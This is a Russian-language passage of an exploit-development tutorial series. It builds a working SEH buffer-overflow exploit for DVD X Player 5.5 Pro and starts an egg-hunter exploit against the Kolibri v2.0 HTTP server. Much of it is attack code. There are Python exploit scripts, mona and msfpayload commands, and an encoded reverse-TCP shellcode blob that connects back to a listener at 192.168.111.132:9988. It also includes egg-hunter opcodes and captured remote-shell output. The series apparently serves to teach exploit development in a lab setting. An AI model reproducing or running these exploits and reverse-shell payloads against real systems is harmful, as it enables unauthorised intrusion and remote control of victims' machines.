После того, как мы воссоздаем наш *.plf-файл и аварийно завершаем работу программы, мы можем проанализировать сбой. Вы можете увидеть скриншот этого анализа ниже. Что нас особенно интересует, так это байты, которые перезаписывают SEH-запись. Мона указывает, что эти байты являются 4 байтами, которые следуют непосредственно после первых 612 байтов нашего буфера.

!mona findmsp

3.png


Пока все хорошо. Основываясь на этой информации, мы можем восстановить наш буфер, как показано ниже. Мы будем выделять 4 байта для nSEH, который должен быть размещен непосредственно перед SEH, который также занимает 4 байта.

buffer = "A"*608 + [nSEH] + [SEH] + "D"*1384
buffer = "A"*608 + "B"*4 + "C"*4 + "D"*1384


Помните, что нам нужно переписать SEH указателем на инструкции POP POP RETN. Нам еще раз приходит на помощь мона! Команда, показанная ниже, будет искать все действительные указатели. Стоит отметить, что мона уже отфильтровывает указатели, которые могут быть потенциально проблематичными, такие как указатели из модулей SafeSEH. Я предлагаю вам взглянуть на документацию, чтобы лучше понять доступные опции для фильтрации результатов. Вы можете увидеть результаты на скриншоте.

!mona seh

4.png


Большинство из этих указателей подойдут. Просто имейте в виду, что они не могут содержать плохих символов. Лично я не выбрал ни одного из тех, которые видны на экране лога просто потому, что я хотел чистый возврат вместо return+offset. Так как мона нашла 2968 действительных указателей, то нам есть из чего выбрать. Просто посмотрите файл "seh.txt" в папке где установлен отладчик immunity. Имейте в виду, что нам нужно изменить порядок байтов из-за архитектуры Little Endian центрального процессора. Просто соблюдайте синтаксис ниже.

Pointer: 0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)
Buffer: buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384

На данный момент мы оставим nSEH таким, какой он есть. Через некоторое время мы посмотрим в отладчике, чтобы увидеть, какое значение мы должны заполнить там. Обратите внимание, что наши инструкции POP POP RETN взяты из библиотеки "EPG.dll", принадлежащего DVD-плееру. Это означает, что наш эксплоит будет переносимым через различные операционные системы!!! Наш новый POC должен выглядеть следующим образом…

Python:
#!/usr/bin/python -w

filename="evil.plf"

#---------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                         #
#                                                                           #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                          #
# (2) nseh = ????                                                           #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                 #
# (3) shellcode space = 1384-bytes                                          #
#---------------------------------------------------------------------------#

buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Хорошо, давайте воссоздадим наш новый *.plf файл и поместим точку останова на наш указатель SEH в отладчике. После прохождения первого исключения с помощью сочетания "Shift-F9" мы достигли точки останова. Вы можете увидеть скриншот ниже.

5.png

Отлично!! Если мы пройдем эти три инструкции с помощью клавиши F7, инструкция RETN вернет нам наши буквы "B"*4, то есть (nSEH). Мы можем видеть, что указатель, который мы поместили в SEH, был преобразован в опкод, и после этого у нас есть буквы "D"* 1384, что можно использовать для нашего шелл-кода. Осталось только написать некоторый опкод в nSHE, который сделает небольшой переход вперед к нашим буквам "D". Мы можем сделать это вживую в отладчике. Посмотрите на скриншоты ниже.

6.png


7.png


8.png


Итак, это довольно интересный трюк, так как теперь мы знаем, какой опкод нам нужно добавить в nSEH, чтобы перейти к нашему буферу. Нам нужно перейти вперед как минимум на 6 байтов. Наш новый буфер должен выглядеть так:

buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + "D"*1384

Шеллкод + Конец Игры


Серьезная работа сделана. Нам нужно - 1) освободить место для нашего шеллкода и 2) сгенерировать полезную нагрузку для вставки в наш эксплоит. Как и в предыдущей части, мы хотим, чтобы наше буферное пространство вычислялось динамически, чтобы мы могли легко обмениваться шелл-кодом, если захотим. Вы можете увидеть результат ниже. Любой шелл-код, который мы вставляем в переменную шелл-кода, будет выполнен нашим переполнением буфера.

Python:
#!/usr/bin/python -w

filename="evil.plf"

shellcode = (
)

#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                                #
#                                                                                  #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                                 #
# (2) nseh = '\xEB\x06' => jump short 6-bytes                                      #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                        #
# (3) shellcode space = 1384-bytes                                                 #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
# (1) Initial overwrite, SEH leads us back 4-bytes to nSEH                         #
# (2) nSEH jumps over SEH and redirects execution to our B's                       #
# (3) We place our shellcode here ... Game Over!                                   #
#----------------------------------------------------------------------------------#

evil = "\x90"*20 + shellcode
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Хорошо. Пришло время для генерации шеллкода. Ради разнообразия я буду использовать реверс шелл…

Bash:
root@bt:~# msfpayload -l
[...snip...]
windows/shell_bind_tcp_xpfw       Disable the Windows ICF, then listen for a connection and spawn a
                                  command shell
windows/shell_reverse_tcp         Connect back to attacker and spawn a command shell
windows/speak_pwned               Causes the target to say "You Got Pwned" via the Windows Speech API
[...snip...]

root@bt:~# msfpayload windows/shell_reverse_tcp O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
Total size: 314
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell

root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b
           '\x00\x0A\x0D\x1A' -t c
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

unsigned char buf[] =
"\xba\x6f\x3d\x04\x90\xd9\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8d\xc8\xf8\x78\xd8"
"\x33\x01\x79\xba\xba\xe4\x48\xe8\xd9\x6d\xf8\x3c\xa9\x20\xf1"
"\xb7\xff\xd0\x82\xb5\xd7\xd7\x23\x73\x0e\xd9\xb4\xb2\x8e\xb5"
"\x77\xd5\x72\xc4\xab\x35\x4a\x07\xbe\x34\x8b\x7a\x31\x64\x44"
"\xf0\xe0\x98\xe1\x44\x39\x99\x25\xc3\x01\xe1\x40\x14\xf5\x5b"
"\x4a\x45\xa6\xd0\x04\x7d\xcc\xbe\xb4\x7c\x01\xdd\x89\x37\x2e"
"\x15\x79\xc6\xe6\x64\x82\xf8\xc6\x2a\xbd\x34\xcb\x33\xf9\xf3"
"\x34\x46\xf1\x07\xc8\x50\xc2\x7a\x16\xd5\xd7\xdd\xdd\x4d\x3c"
"\xdf\x32\x0b\xb7\xd3\xff\x58\x9f\xf7\xfe\x8d\xab\x0c\x8a\x30"
"\x7c\x85\xc8\x16\x58\xcd\x8b\x37\xf9\xab\x7a\x48\x19\x13\x22"
"\xec\x51\xb6\x37\x96\x3b\xdf\xf4\xa4\xc3\x1f\x93\xbf\xb0\x2d"
"\x3c\x6b\x5f\x1e\xb5\xb5\x98\x61\xec\x01\x36\x9c\x0f\x71\x1e"
"\x5b\x5b\x21\x08\x4a\xe4\xaa\xc8\x73\x31\x7c\x99\xdb\xea\x3c"
"\x49\x9c\x5a\xd4\x83\x13\x84\xc4\xab\xf9\xb3\xc3\x3c\xc2\x6c"
"\xa4\x38\xaa\x6e\x3a\x66\x2f\xe6\xdc\x02\x3f\xae\x77\xbb\xa6"
"\xeb\x03\x5a\x26\x26\x83\xff\xb5\xad\x53\x89\xa5\x79\x04\xde"
"\x18\x70\xc0\xf2\x03\x2a\xf6\x0e\xd5\x15\xb2\xd4\x26\x9b\x3b"
"\x98\x13\xbf\x2b\x64\x9b\xfb\x1f\x38\xca\x55\xc9\xfe\xa4\x17"
"\xa3\xa8\x1b\xfe\x23\x2c\x50\xc1\x35\x31\xbd\xb7\xd9\x80\x68"
"\x8e\xe6\x2d\xfd\x06\x9f\x53\x9d\xe9\x4a\xd0\xad\xa3\xd6\x71"
"\x26\x6a\x83\xc3\x2b\x8d\x7e\x07\x52\x0e\x8a\xf8\xa1\x0e\xff"
"\xfd\xee\x88\xec\x8f\x7f\x7d\x12\x23\x7f\x54";

После добавления некоторых заметок финальный эксплойт готов!

Python:
#!/usr/bin/python -w

#----------------------------------------------------------------------------------#
# Exploit: DVD X Player 5.5 Pro SEH (local BOF)                                    #
# OS: Tested XP PRO SP3 (EPG.dll should be universal)                              #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications       #
#           /cdfda7217304f4deb7d2e8feb5696394-DVDXPlayerSetup.exe                  #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 3 of my Exploit Development tutorial series... #
# http://www.fuzzysecurity.com/tutorials/expDev/3.html                             #
#----------------------------------------------------------------------------------#
# root@bt:~# nc -lvp 9988                                                          #
# listening on [any] 9988 ...                                                      #
# 192.168.111.128: inverse host lookup failed: Unknown server error                #
# connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1044               #
# Microsoft Windows XP [Version 5.1.2600]                                          #
# (C) Copyright 1985-2001 Microsoft Corp.                                          #
#                                                                                  #
# G:\tutorial>ipconfig                                                             #
# ipconfig                                                                         #
#                                                                                  #
# Windows IP Configuration                                                         #
#                                                                                  #
#                                                                                  #
# Ethernet adapter Local Area Connection:                                          #
#                                                                                  #
#         Connection-specific DNS Suffix  . : localdomain                          #
#         IP Address. . . . . . . . . . . . : 192.168.111.128                      #
#         Subnet Mask . . . . . . . . . . . : 255.255.255.0                        #
#         Default Gateway . . . . . . . . . :                                      #
#                                                                                  #
# G:\tutorial>                                                                     #
#----------------------------------------------------------------------------------#

filename="evil.plf"

#---------------------------------------------------------------------------------------------------------------#
# msfpayload windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b '\x00\x0A\x0D\x1A' -t c #
# [*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)                                                  #
#---------------------------------------------------------------------------------------------------------------#
shellcode = (
"\xba\x6f\x3d\x04\x90\xd9\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8d\xc8\xf8\x78\xd8"
"\x33\x01\x79\xba\xba\xe4\x48\xe8\xd9\x6d\xf8\x3c\xa9\x20\xf1"
"\xb7\xff\xd0\x82\xb5\xd7\xd7\x23\x73\x0e\xd9\xb4\xb2\x8e\xb5"
"\x77\xd5\x72\xc4\xab\x35\x4a\x07\xbe\x34\x8b\x7a\x31\x64\x44"
"\xf0\xe0\x98\xe1\x44\x39\x99\x25\xc3\x01\xe1\x40\x14\xf5\x5b"
"\x4a\x45\xa6\xd0\x04\x7d\xcc\xbe\xb4\x7c\x01\xdd\x89\x37\x2e"
"\x15\x79\xc6\xe6\x64\x82\xf8\xc6\x2a\xbd\x34\xcb\x33\xf9\xf3"
"\x34\x46\xf1\x07\xc8\x50\xc2\x7a\x16\xd5\xd7\xdd\xdd\x4d\x3c"
"\xdf\x32\x0b\xb7\xd3\xff\x58\x9f\xf7\xfe\x8d\xab\x0c\x8a\x30"
"\x7c\x85\xc8\x16\x58\xcd\x8b\x37\xf9\xab\x7a\x48\x19\x13\x22"
"\xec\x51\xb6\x37\x96\x3b\xdf\xf4\xa4\xc3\x1f\x93\xbf\xb0\x2d"
"\x3c\x6b\x5f\x1e\xb5\xb5\x98\x61\xec\x01\x36\x9c\x0f\x71\x1e"
"\x5b\x5b\x21\x08\x4a\xe4\xaa\xc8\x73\x31\x7c\x99\xdb\xea\x3c"
"\x49\x9c\x5a\xd4\x83\x13\x84\xc4\xab\xf9\xb3\xc3\x3c\xc2\x6c"
"\xa4\x38\xaa\x6e\x3a\x66\x2f\xe6\xdc\x02\x3f\xae\x77\xbb\xa6"
"\xeb\x03\x5a\x26\x26\x83\xff\xb5\xad\x53\x89\xa5\x79\x04\xde"
"\x18\x70\xc0\xf2\x03\x2a\xf6\x0e\xd5\x15\xb2\xd4\x26\x9b\x3b"
"\x98\x13\xbf\x2b\x64\x9b\xfb\x1f\x38\xca\x55\xc9\xfe\xa4\x17"
"\xa3\xa8\x1b\xfe\x23\x2c\x50\xc1\x35\x31\xbd\xb7\xd9\x80\x68"
"\x8e\xe6\x2d\xfd\x06\x9f\x53\x9d\xe9\x4a\xd0\xad\xa3\xd6\x71"
"\x26\x6a\x83\xc3\x2b\x8d\x7e\x07\x52\x0e\x8a\xf8\xa1\x0e\xff"
"\xfd\xee\x88\xec\x8f\x7f\x7d\x12\x23\x7f\x54")

#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                                #
#                                                                                  #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                                 #
# (2) nseh = '\xEB\x06' => jump short 6-bytes                                      #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                        #
# (3) shellcode space = 1384-bytes                                                 #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
# (1) Initial EIP overwrite, SEH leads us back 4-bytes to nSEH                     #
# (2) nSEH jumps over SEH and redirects execution to our B's                       #
# (3) We place our shellcode here ... Game Over!                                   #
#----------------------------------------------------------------------------------#

evil = "\x90"*20 + shellcode
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))

textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

На скриншоте ниже мы видим окно до и после вывода команды «netstat -an», а ниже мы видим вывод терминала бэктрэк нашего реверсшелла. Игра окончена!!!

9.png


Bash:
root@bt:~/Desktop# nc -lvp 9988
listening on [any] 9988 ...
192.168.111.128: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1044
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

G:\tutorial>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . :

G:\tutorial>
 
Часть 4: Охотник на яйца

Всем привет и добро пожаловать в четвертую часть моей серии по разработке эксплоитов. Эта часть расскажет про "охотников за яйцами" наиболее полезную и классную технику, которую можно (а иногда и нужно) использовать при разработке эксплоитов. Чтобы продемонстрировать этот процесс, мы создадим эксплоит с нуля для "HTTP-сервера Kolibri v2.0". Вы можете найти уже существующие эксплоиты здесь (https://www.exploit-db.com/search/?action=search&filter_exploit_text=kolibri+v2.0).

Нам потребуется:
Среда для разработки эксплойтов: Backtrack 5
Виртуальная машина: Windows XP PRO SP3
Список плохзих символов: “\x00\x0d\x0a\x3d\x20\x3f“
Уязвимое программное обеспечение: Можно взять отсюда (https://cdn01.exploit-db.com/wp-con...98e105facf94e4fd6a1f9eb78-Kolibri-2.0-win.zip)

Введение в Egg Hunters

Из предыдущих частей у нас уже должно быть представление о том, как работают переполнения буфера. Программа хранит большой буфер, и в какой-то момент мы перехватываем поток выполнения, а затем перенаправляем управление в один из регистров центрального процессора, который содержит часть нашего буфера и любые выполняемые там инструкции. Но спросите себя, что, если после того, как мы получим контроль, у нас не будет достаточно буферного пространства для значимой полезной нагрузки. Может случиться так, что конкретная уязвимость не может быть использована, но это маловероятно. В этом случае вам нужно искать одну из двух вещей: 1) буферное пространство перед перезаписью регистра EIP также находится где-то в памяти и 2) сегмент буфера также может храниться в совершенно другой области памяти. Если это другое буферное пространство расположено рядом, вы можете попасть туда с помощью инструкции "jump to offset", однако, если оно далеко или не легко доступно, нам нужно будет найти другой метод (мы могли бы жестко закодировать адрес и перейти к нему, но для надежности мы никогда не должны делать это).

Охотник состоит из набора программных инструкций, которые переводятся в опкоды, и в этом отношении он ничем не отличается от любого другого шеллкода (это важно, потому что он может также содержать плохие символы!!!). Целью охотника является поиск во всем диапазоне памяти (стек/куча/...) нашего шеллкода последней стадии и перенаправление потока выполнения к нему. Есть несколько видов охотников. Если вы хотите узнать больше о том, как они работают, я предлагаю эту статью написанную skape (http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf). Фактически мы будем использовать слегка модифицированную версию одного из этих охотников. Вы можете увидеть его структуру ниже.

C:
loop_inc_page:
    or    dx, 0x0fff                    // Add PAGE_SIZE-1 to edx
loop_inc_one:
    inc   edx                           // Increment our pointer by one
loop_check:
    push  edx                           // Save edx
    push  0x2                           // Push NtAccessCheckAndAuditAlarm
    pop   eax                           // Pop into eax
    int   0x2e                          // Perform the syscall
    cmp   al, 0x05                      // Did we get 0xc0000005 (ACCESS_VIOLATION) ?
    pop   edx                           // Restore edx
loop_check_8_valid:
    je    loop_inc_page                 // Yes, invalid ptr, go to the next page

is_egg:
    mov   eax, 0x50905090               // Throw our egg in eax
    mov   edi, edx                      // Set edi to the pointer we validated
    scasd                               // Compare the dword in edi to eax
    jnz   loop_inc_one                  // No match? Increment the pointer by one
    scasd                               // Compare the dword in edi to eax again (which is now edx + 4)
    jnz   loop_inc_one                  // No match? Increment the pointer by one

matched:
    jmp   edi                           // Found the egg.  Jump 8 bytes past it into our code.

Я не буду объяснять, как именно это работает. Вы можете прочитать статью skape для более подробной информации. Что вам нужно знать, так это то, что охотник содержит пользовательский 4-байтовый тег. Он будет выполнять поиск в памяти, пока не найдет этот тег дважды повторённый (если тег равен "1234", он будет искать "12341234"). Когда он находит тег, охотник перенаправляет поток выполнения сразу после тега и, следовательно, на наш шеллкод. Если вам нужен охотник в эксплоите, я настоятельно рекомендую вам использовать его (он также реализован в моне, но об этом позже) из-за его небольшого размера (32 байта), его скорости и переносимости через платформы Windows. Вы можете увидеть охотника ниже после того, как он был преобразован в опкоды.

C:
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7"

The tag in this case is "b33f", if you use an ASCII tag you can easily convert it to hex with a quick
google search... In this case we will need to prepend our final stage shellcode with "b33fb33f" so our
egg hunter can find it.

Прежде чем мы перейдем к нашему собственному эксплоиту, я хотел бы показать вам, что делать, если у охотника есть какие-то плохие символы. Сначала, нам нужно записать эти 32-байта в двоичный файл. Для этого вы можете использовать написанный мной скрипт "bin.sh", который вы можете найти в разделе который посвящен кодингу. Когда это будет сделано, мы можем просто закодировать его с помощью msfencode.

Bash:
root@bt:~/Desktop# ./bin.sh -i test.txt -o hunter -t B
[>] Parsing Input File
[>] Pipe output to xxd
[>] Clean up
[>] Done!!

root@bt:~/Desktop# msfencode -b '\xff' -i hunter.bin
[*] x86/shikata_ga_nai succeeded with size 59 (iteration=1)
buf =
"\xd9\xcf\xd9\x74\x24\xf4\x5e\x33\xc9\xbf\x4d\x1a\x03\x02" +
"\xb1\x09\x31\x7e\x17\x83\xee\xfc\x03\x33\x09\xe1\xf7\xad" +
"\xac\x2f\x08\x3e\xed\xfd\x9d\x42\xa9\xcc\x4c\x7e\x4c\x95" +
"\xe4\x91\xf6\x4b\x36\x5e\x61\x07\xc2\x0f\x18\xfd\x9c\x3a" +
"\x04\xfe\x04"

root@bt:~/Desktop# msfencode -e x86/alpha_mixed -i hunter.bin
[*] x86/alpha_mixed succeeded with size 125 (iteration=1)
buf =
"\xdb\xcf\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a" +
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" +
"\x75\x4a\x49\x43\x56\x6b\x31\x49\x5a\x6b\x4f\x46\x6f\x37" +
"\x32\x46\x32\x70\x6a\x44\x42\x42\x78\x5a\x6d\x46\x4e\x77" +
"\x4c\x35\x55\x32\x7a\x71\x64\x7a\x4f\x48\x38\x73\x52\x57" +
"\x43\x30\x33\x62\x46\x4c\x4b\x4a\x5a\x4c\x6f\x62\x55\x6b" +
"\x5a\x6e\x4f\x43\x45\x69\x77\x59\x6f\x78\x67\x41\x41"

Вы можете увидеть пример этого ниже. Обратите внимание, как кодировка влияет на размер байта.

Воспроизведение крэша

Как я уже говорил, мы собираемся поставить "HTTP-сервер Kolibri v2.0" на колени перед нам. Для этого мы встроим переполнение буфера в HTTP-запрос. Вы можете увидеть наш POC ниже, который должен перезаписать регистр EIP. Если вы решили воссоздать этот эксплоит, просто измените IP-адреса в соответствующих местах; также значение 8080 является портом по умолчанию.

Python:
#!/usr/bin/python

import socket
import os
import sys

Stage1 = "A"*600

buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

Как обычно, мы присоединяем Колибри к нашему Immunity Debugger и выполняем наш POC-эксплоит. Вы можете видеть на скриншоте ниже, что мы перезаписываем регистр EIP и что регистр ESP содержит часть нашего буфера. Я должен отметить, что если мы отправим более длинный буфер, мы также можем перезаписать SEH. Есть много способов снять кожу с кролика как говориться, но сегодня мы охотимся за яйцами, поэтому давайте продолжим.

1.png



Подготовка к этапу 1

Внимательный читатель заметит, что переменная буфера в нашем POC называется "Stage1". Подробнее о "Stage2" позже. Давайте выясним смещения регистра EIP и регистра ESP. Как обычно, мы заменим наш буфер шаблоном метасплроита и позволим моне сделать тяжелую работу.

Bash:
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 600
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0A
o1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar
6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9

!mona findmsp

2.png


Пока все хорошо. Основываясь на этой информации, мы можем восстановить наш буфер, как показано ниже. Регистр EIP будет перезаписан 4 байтами, которые непосредственно следуют за первыми 515 байтами, и любые байты, которые следуют после регистра EIP, будут находиться в регистре ESP.

Stage1 = "A"*515 + [EIP] + BBBBB.....

Хорошо, давайте найдем адрес, который может перенаправить поток выполнения в регистр ESP. Имейте в виду, что он не может содержать никаких плохих символов. Вы можете видеть на скриншоте ниже несколько вариантов, это, конечно, динамические библиотеки операционной системы, но это не так важно.

!mona jmp -r esp

3.png


Давайте выберем один из этих указателей и поместим его в наш буфер. На этом этапе я должен объяснить назначение "Stage1". Мы будем встраивать нашего охотника здесь (мы будем беспокоиться о последнем этапе шеллкода позже). Теперь есть несколько вариантов. Мы могли бы поместить нашего охотника в регистр ESP, так как у нас, конечно, есть место, но ради аккуратности я бы предпочел поместить охотника в буферное пространство перед перезаписью регистра EIP. Для этого мы поместим в регистр ESP инструкцию "short jump", которая будет переходить назад в наш буфер с достаточным пространством для нашего охотника. Этот короткий переход требует только 2 байта, поэтому мы должны реструктурировать наш буфер следующим образом.

Pointer: 0x77c35459 : push esp # ret | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5701 (C:\WINDOWS\system32\msvcrt.dll)
Buffer: Stage1 = "A"*515 + "\x59\x54\xC3\x77" +"B"*2

На данный момент мы не будем заполнять опкод "short jump". Мы оставим его как буквы"B"*2, чтобы мы могли проверить, достигли ли мы точки останова (так как мы уменьшаем длину буфера и это может изменить сбой). Наш новый POC должен выглядеть следующим образом.

Python:
#!/usr/bin/python

import socket
import os
import sys

#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => ????                             #
#-------------------------------------------------------------------------------#

Stage1 = "A"*515 + "\x59\x54\xC3\x77" + "B"*2

buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

После повторного подключения Колибри в отладчике и выполнения нашего POC мы видим, что мы достигли нашей точки останова.

4.png


Отлично!! Если мы выполним эти инструкции с помощью клавиши F7. Мы вернемся к нашим двум букав B, расположенным в регистре ESP. Пришло время создать наш опкод, который вернется назад на 60 байтов (это просто произвольное значение, которое должно обеспечить достаточно места). Опкод "short jump" начинается с символов "\xEB", за которым следует расстояние, которое нам нужно перейти. Чтобы получить это значение, мы будем использовать один из единственных полезных инструментов, который поставляется в комплекте с Windows. Посмотрите на скриншоты ниже.

5.png


6.png


При разработке эксплойтов вы научитесь ценить полезность калькулятора Windows. В любом, случае давайте проверим нашу теорию. Новый буфер должен выглядеть так:

Stage1 = "A"*515 + "\x59\x54\xC3\x77" +"\xEB\xC4"

После того, как мы пройдем через точку останова в регистре EIP, мы будем перенаправлены на регистр ESP, который содержит наш опкод “short jump”, и если мы сделаем переход с помощью клавиши F7, мы вернемся назад на 60 байтов в нашем буфере относительно нашей текущей позиции и попадем в наши буквы A. Вы можете увидеть это на скриншотах ниже.

7.png


8.png


Все, что остается для "Stage1" так это сгенерировать и вставить нашего охотника в наш буфер. Вы можете использовать или вручную модифицировать охотника в начале этого урока, но, как я уже говорил, мона содержит опцию для генерации охотника и указания пользовательского тега, поэтому давайте взглянем на это.

!mona help egg
!mona egg -t b33f


9.png

Так как мы знаем, что размер охотника составляет 32 байта, мы можем легко вставить его в наш буфер с небольшим расчетом. Вы можете увидеть наш финальный POC "Stage1" ниже и скриншот, который показывает, что охотник был помещен между нашим "short jump" и регистров EIP.

10.png


Python:
#!/usr/bin/python

import socket
import os
import sys

#Egghunter
#Size 32-bytes
hunter = (
"\x66\x81\xca\xff"
"\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e"
"\x3c\x05\x5a\x74"
"\xef\xb8\x62\x33" #b3
"\x33\x66\x8b\xfa" #3f
"\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")

#-------------------------------------------------------------------------------#
# badchars: \x00\x0d\x0a\x3d\x20\x3f                                            #
#-------------------------------------------------------------------------------#
# Stage1:                                                                       #
# (1) EIP: 0x77C35459 push esp # ret | msvcrt.dll                               #
# (2) ESP: jump back 60 bytes in the buffer => \xEB\xC4                         #
# (3) Enough room for egghunter; marker "b33f"                                  #
#-------------------------------------------------------------------------------#

Stage1 = "A"*478 + hunter + "A"*5 + "\x59\x54\xC3\x77" + "\xEB\xC4"

buffer = (
"HEAD /" + Stage1 + " HTTP/1.1\r\n"
"Host: 192.168.111.128:8080\r\n"
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n"
"Keep-Alive: 115\r\n"
"Connection: keep-alive\r\n\r\n")

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(("192.168.111.128", 8080))
expl.send(buffer)
expl.close()

